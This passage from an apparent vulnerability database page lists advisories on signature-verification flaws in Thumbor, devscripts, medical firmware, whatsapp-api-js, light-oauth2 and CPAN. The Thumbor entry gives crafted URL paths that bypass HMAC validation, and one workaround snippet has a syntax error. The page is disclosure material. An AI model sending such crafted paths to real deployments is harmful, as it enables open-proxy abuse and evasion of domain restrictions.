)\n```\n\nThe issue is that `.replace()` removes **every occurrence** of the substring in the URL, not just the first one.\n\nBecause the signature itself appears in the URL, an attacker can **inject additional copies of the signature** elsewhere in the path. When Thumbor performs `.replace()`, these extra occurrences are also removed, resulting in a different `url_to_validate` than the original request.\n\n## Example\n\nValid request:\n\n```\n/ddoyYVYUbDf6Po_dzOrBhCDrXLc=/300x200/s3.glbimg.com/v1/.../image.jpg\n```\n\nBy injecting the same hash inside the URL:\n\n```\n/ddoyYVYUbDf6Po_dzOrBhCDrXLc=/300x200/s3.glbimg.co/ddoyYVYUbDf6Po_dzOrBhCDrXLc=/m/v1/.../image.jpg\n```\n\nAfter `.replace()` removes all occurrences of the hash, the URL used for validation differs from the effective request path. This allows manipulation of the upstream host or path.\n\nFurther manipulation is possible due to the **second `.replace()` for the URL-encoded hash (`%3D`)**, enabling more precise path manipulation.\n\nExample:\n\n```\n/ddoyYVYUbDf6Po_dzOrBhCDrXLc=/300x200/s3.glbimg.com/ddoyYVYUbDf6Po/ddoyYVYUbDf6Po_dzOrBhCDrXLc%3D/ddoyYVYUbDf6Po/v1/...\n```\n\n## Impact\n\nThis behavior may allow attackers to:\n\n- Bypass HMAC URL validation\n- Load images from arbitrary domains\n- Abuse Thumbor deployments as an open proxy / image fetcher\n- Circumvent domain restrictions intended by the signed URL mechanism\n\n## Root Cause\n\nUse of `.replace()` without limiting the number of replacements when removing the signature from the URL.\n\nSince the signature is part of the request path, using a global replacement allows attackers to place additional occurrences of the same substring to influence the validated string.\n\n## Suggested Fix\n\nRemove only the first occurrence of the signature or explicitly parse the URL components instead of performing global string replacement.\n\nExample:\n\n```python\nurl.replace(f\"/{self.context.request.hash}/\", \"\", 1)\n```\n\nAlternatively, reconstruct the unsigned URL deterministically from the parsed request components.",
  "id": "GHSA-mw3h-qjxj-6xg9",
  "modified": "2026-07-31T18:51:54Z",
  "published": "2026-07-31T18:51:54Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/thumbor/thumbor/security/advisories/GHSA-mw3h-qjxj-6xg9"
    },
    {
      "type": "WEB",
      "url": "https://github.com/thumbor/thumbor/commit/e3ae3e2500537b4d735df4144129a649374bb70b"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/thumbor/thumbor"
    },
    {
      "type": "WEB",
      "url": "https://github.com/thumbor/thumbor/releases/tag/7.8.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Thumbor has HMAC validation bypass via multiple .replace() calls when removing URL signature"
}

GHSA-MW9F-F52P-CHPP

Vulnerability from github – Published: 2025-08-01 06:31 – Updated: 2025-08-01 15:34
VLAI
Details

It was discovered that uscan, a tool to scan/watch upstream sources for new releases of software, included in devscripts (a collection of scripts to make the life of a Debian Package maintainer easier), skips OpenPGP verification for files already downloaded even if a previous verification did fail.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-8454"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-08-01T06:15:29Z",
    "severity": "CRITICAL"
  },
  "details": "It was discovered that uscan, a tool to scan/watch upstream sources for new releases of software, included in devscripts (a collection of scripts to make the life of a Debian Package maintainer easier), skips OpenPGP verification for files already downloaded even if a previous verification did fail.",
  "id": "GHSA-mw9f-f52p-chpp",
  "modified": "2025-08-01T15:34:17Z",
  "published": "2025-08-01T06:31:37Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-8454"
    },
    {
      "type": "WEB",
      "url": "https://bugs.debian.org/1109251"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-MWFC-GQVV-7HQ8

Vulnerability from github – Published: 2022-04-15 00:00 – Updated: 2022-04-22 00:00
VLAI
Details

An improper verification of the cryptographic signature of firmware updates of the B. Braun Melsungen AG SpaceCom Version L81/U61 and earlier, and the Data module compactplus Versions A10 and A11 allows attackers to generate valid firmware updates with arbitrary content that can be used to tamper with devices.

Severity
7.1 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2020-25166"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-04-14T21:15:00Z",
    "severity": "HIGH"
  },
  "details": "An improper verification of the cryptographic signature of firmware updates of the B. Braun Melsungen AG SpaceCom Version L81/U61 and earlier, and the Data module compactplus Versions A10 and A11 allows attackers to generate valid firmware updates with arbitrary content that can be used to tamper with devices.",
  "id": "GHSA-mwfc-gqvv-7hq8",
  "modified": "2022-04-22T00:00:46Z",
  "published": "2022-04-15T00:00:36Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-25166"
    },
    {
      "type": "WEB",
      "url": "https://www.bbraun.com/en/products-and-therapies/services/b-braun-vulnerability-disclosure-policy/security-advisory.html"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/uscert/ics/advisories/icsma-20-296-02"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-MWHF-VHR5-7J23

Vulnerability from github – Published: 2024-09-12 21:29 – Updated: 2024-09-12 21:39
VLAI
Summary
whatsapp-api-js fails to validate message's signature
Details

Impact

Incorrect Access Control, anyone using the post or verifyRequestSignature methods to handle messages is impacted.

Patches

Patched in version 4.0.3.

Workarounds

It's possible to check the payload validation using the WhatsAppAPI.verifyRequestSignature and expect false when the signature is valid.

function doPost(payload, header_signature) {
    if (whatsapp.verifyRequestSignature(payload.toString(), header_signature) {
        throw 403;
    }

    // Now the payload is correctly verified
    whatsapp.post(payload);
}

References

https://github.com/Secreto31126/whatsapp-api-js/pull/371

Severity
5.8 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N
5.3 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:L/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "whatsapp-api-js"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0"
            },
            {
              "fixed": "4.0.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-45607"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-09-12T21:29:17Z",
    "nvd_published_at": "2024-09-12T20:15:05Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\nIncorrect Access Control, anyone using the post or verifyRequestSignature methods to handle messages is impacted.\n\n### Patches\nPatched in version 4.0.3.\n\n### Workarounds\nIt\u0027s possible to check the payload validation using the WhatsAppAPI.verifyRequestSignature and expect false when the signature is valid.\n\n```ts\nfunction doPost(payload, header_signature) {\n    if (whatsapp.verifyRequestSignature(payload.toString(), header_signature) {\n        throw 403;\n    }\n    \n    // Now the payload is correctly verified\n    whatsapp.post(payload);\n}\n```\n\n### References\nhttps://github.com/Secreto31126/whatsapp-api-js/pull/371\n\n",
  "id": "GHSA-mwhf-vhr5-7j23",
  "modified": "2024-09-12T21:39:35Z",
  "published": "2024-09-12T21:29:17Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Secreto31126/whatsapp-api-js/security/advisories/GHSA-mwhf-vhr5-7j23"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-45607"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Secreto31126/whatsapp-api-js/pull/371"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Secreto31126/whatsapp-api-js/commit/56620c65126427496a94d176082fbd8393a95b6d"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Secreto31126/whatsapp-api-js"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:L/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "whatsapp-api-js fails to validate message\u0027s signature"
}

GHSA-MX47-H5FV-GHWH

Vulnerability from github – Published: 2023-10-25 18:32 – Updated: 2023-11-01 05:52
VLAI
Summary
light-oauth2 missing public key verification
Details

light-oauth2 before version 2.1.27 obtains the public key without any verification. This could allow attackers to authenticate to the application with a crafted JWT token.

Severity
5.9 (Medium)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.networknt:light-oauth2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.1.27"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-31580"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-295",
      "CWE-347"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-10-27T19:12:00Z",
    "nvd_published_at": "2023-10-25T18:17:27Z",
    "severity": "MODERATE"
  },
  "details": "light-oauth2 before version 2.1.27 obtains the public key without any verification. This could allow attackers to authenticate to the application with a crafted JWT token.",
  "id": "GHSA-mx47-h5fv-ghwh",
  "modified": "2023-11-01T05:52:23Z",
  "published": "2023-10-25T18:32:21Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-31580"
    },
    {
      "type": "WEB",
      "url": "https://github.com/networknt/light-oauth2/issues/369"
    },
    {
      "type": "WEB",
      "url": "https://github.com/KANIXB/JWTIssues/blob/main/Certification%20Verification%20issue%20in%20light-oauth2.md"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/networknt/light-oauth2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "light-oauth2 missing public key verification"
}

GHSA-MX9V-6QG3-92RP

Vulnerability from github – Published: 2021-12-14 00:00 – Updated: 2025-11-04 00:30
VLAI
Details

CPAN 2.28 allows Signature Verification Bypass.

Severity
7.8 (High)
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2020-16156"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-12-13T18:15:00Z",
    "severity": "HIGH"
  },
  "details": "CPAN 2.28 allows Signature Verification Bypass.",
  "id": "GHSA-mx9v-6qg3-92rp",
  "modified": "2025-11-04T00:30:30Z",
  "published": "2021-12-14T00:00:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-16156"
    },
    {
      "type": "WEB",
      "url": "https://blog.hackeriet.no/cpan-signature-verification-vulnerabilities"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2024/10/msg00017.html"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/SD6RYOJII7HRJ6WVORFNVTYNOFY5JDXN"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/SZ32AJIV4RHJMLWLU5QULGKMMIHYOMDC"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/SD6RYOJII7HRJ6WVORFNVTYNOFY5JDXN"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/SZ32AJIV4RHJMLWLU5QULGKMMIHYOMDC"
    },
    {
      "type": "WEB",
      "url": "https://metacpan.org/pod/distribution/CPAN/scripts/cpan"
    },
    {
      "type": "WEB",
      "url": "http://blogs.perl.org/users/neilb/2021/11/addressing-cpan-vulnerabilities-related-to-checksums.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

No mitigation information available for this CWE.

CAPEC-463: Padding Oracle Crypto Attack

An adversary is able to efficiently decrypt data without knowing the decryption key if a target system leaks data on whether or not a padding error happened while decrypting the ciphertext. A target system that leaks this type of information becomes the padding oracle and an adversary is able to make use of that oracle to efficiently decrypt data without knowing the decryption key by issuing on average 128*b calls to the padding oracle (where b is the number of bytes in the ciphertext block). In addition to performing decryption, an adversary is also able to produce valid ciphertexts (i.e., perform encryption) by using the padding oracle, all without knowing the encryption key.

CAPEC-475: Signature Spoofing by Improper Validation

An adversary exploits a cryptographic weakness in the signature verification algorithm implementation to generate a valid signature without knowing the key.

← Back to the CWE list